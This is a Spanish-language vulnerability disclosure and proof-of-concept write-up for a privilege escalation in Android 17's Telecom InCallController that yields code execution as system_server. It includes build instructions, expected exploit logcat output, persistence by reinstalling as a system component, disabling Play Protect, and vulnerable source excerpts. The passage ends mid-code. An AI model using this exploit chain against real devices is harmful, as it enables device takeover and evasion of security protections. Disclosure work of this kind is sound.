
CVE-2026-49881, using insecure context creation in Android 17's Telecom service to execute arbitrary code as UID 1000 system_server from an unprivileged app
Este es un PoC y un análisis de CVE-2026-49881, un problema lógico en la clase InCallController del servicio Telecom de Android 17 que permite a una aplicación sin privilegios obtener ejecución arbitraria de código como UID 1000 system_server sin interacción adicional del usuario. También demostramos aquí que la ejecución de código en system_server aún puede adaptarse fácilmente para lograr persistencia, incluso en versiones modernas de Android.
Reporté esta vulnerabilidad al Equipo de Seguridad de Android el 2026-04-10, fue confirmada el 2026-05-06 y se corrigió en el Boletín de Seguridad de Android de septiembre de 2026. (ver parche aquí)
Al momento del reporte, solo afectaba activamente a las compilaciones Pixel a partir de Android 16 QPR3 (junto con las compilaciones Beta de Android 17) hasta donde sé, pero luego llegó a la versión estable AOSP de Android 17.
Para protegerse de este problema, asegúrese de instalar la actualización del sistema de Google Play así como el parche de seguridad del sistema. (Telecom es un componente mainline desde Android 17)
system_server usando la vulnerabilidad, registra id y el seguimiento de pila en logcat, y se reinstala a sí mismo como un componente de system_server.build.sh incluido. De lo contrario, puede ejecutar manualmente ./gradlew assembleSystemRelease, mover el app-system-release.apk resultante a app/src/poc/assets/system.apk y luego ejecutar ./gradlew assemblePocRelease.system_server, también desactiva Play Protect estableciendo package_verifier_user_consent en -1 en Settings.Global porque a veces puede interceptar la transacción de reinstalación debido a firmas desconocidas. Debe volver a habilitarlo en Configuración después de las pruebas.system_server podría necesitar personalización por OEM porque depende de recorrer la estructura de PMS usando símbolos que los OEM a veces cambian.La salida esperada del logcat del PoC es:
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.911 1558 12775 E TLPE : [+] Exploit successful!
04-15 03:02:47.911 1558 12775 E TLPE : [+] Running as: [uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1023(media_rw),1024(mtp),1032(package_info),1065(reserved_disk),3001(net_bt_admin),3002(net_bt),3003(inet),3005(net_admin),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock),3011(uhid),3012(readtracefs) context=u:r:system_server:s0]
04-15 03:02:47.911 1558 12775 E TLPE : [+] Current stack trace:
04-15 03:02:47.911 1558 12775 E TLPE : [dalvik.system.VMStack.getThreadStackTrace(Native Method), java.lang.Thread.getStackTrace(Thread.java:2842), poc.sithi.tlpe.EvilFactory.instantiateClassLoader(EvilFactory.kt:31), android.app.LoadedApk.createOrUpdateClassLoaderLocked(LoadedApk.java:1215), android.app.LoadedApk.getClassLoader(LoadedApk.java:1267), android.app.ContextImpl.getClassLoader(ContextImpl.java:542), com.android.server.telecom.InCallController.serviceClassExists(InCallController.java:2561), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2606), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2515), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2499), com.android.server.telecom.InCallController.bindToBTService(InCallController.java:2247), com.android.server.telecom.InCallController.onCallAdded(InCallController.java:1437), com.android.server.telecom.CallsManager.addCall(CallsManager.java:5457), com.android.server.telecom.CallsManager.processIncomingCallIntent(CallsManager.java:1970), com.android.server.telecom.callsequencing.voip.IncomingCallTransaction.processTransaction(IncomingCallTransaction.java:76), com.android.server.telecom.callsequencing.CallTransaction$$ExternalSyntheticLambda3.apply(R8$$SyntheticClass:0), java.util.concurrent.CompletableFuture$UniCompose.tryFire(CompletableFuture.java:1126), java.util.concurrent.CompletableFuture$Completion.run(CompletableFuture.java:458), com.android.server.telecom.LoggedHandlerExecutor$1.loggedRun(LoggedHandlerExecutor.java:41), android.telecom.Logging.Runnable$1.run(Runnable.java:37), android.os.Handler.handleCallback(Handler.java:1095), android.os.Handler.dispatchMessageImpl(Handler.java:135), android.os.Handler.dispatchMessage(Handler.java:125), android.os.Looper.loopOnce(Looper.java:269), android.os.Looper.loop(Looper.java:367), android.os.HandlerThread.run(HandlerThread.java:139)]
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.934 1558 12785 E TLPE : [+] Retrieved system APK, attempting persistence...
04-15 03:02:47.935 1558 12785 E TLPE : [+] Injection successful, forcing packages.xml flush
04-15 03:02:47.957 1558 12785 E TLPE : [+] Persistence successful, reinstalling...
Esta es una vulnerabilidad inusualmente directa. Cada vez que ocurren ciertas acciones relacionadas con Telecom, InCallController intenta descubrir los servicios disponibles a través de getInCallServiceComponents. Esto se activa naturalmente cuando se registra una llamada en el sistema, pero una aplicación también puede activarlo bajo demanda gracias a la API de llamadas transaccionales TelecomManager.addCall. (nota: esto es lo que usa el botón Start Exploit del PoC) Esta API requiere MANAGE_OWN_CALLS, pero es un permiso normal e invisible para el usuario que se otorga automáticamente al instalarse.
Esta enumeración se implementa en las versiones vulnerables así:
private List<InCallServiceInfo> getInCallServiceComponents(UserHandle userHandle,
String packageName, ComponentName componentName,
int requestedType, boolean ignoreDisabled) {
...
List<ResolveInfo> entries;
entries = userPackageManager.queryIntentServices(
serviceIntent,
PackageManager.GET_META_DATA | PackageManager.MATCH_DISABLED_COMPONENTS);
for (ResolveInfo entry : entries) {
ServiceInfo serviceInfo = entry.serviceInfo;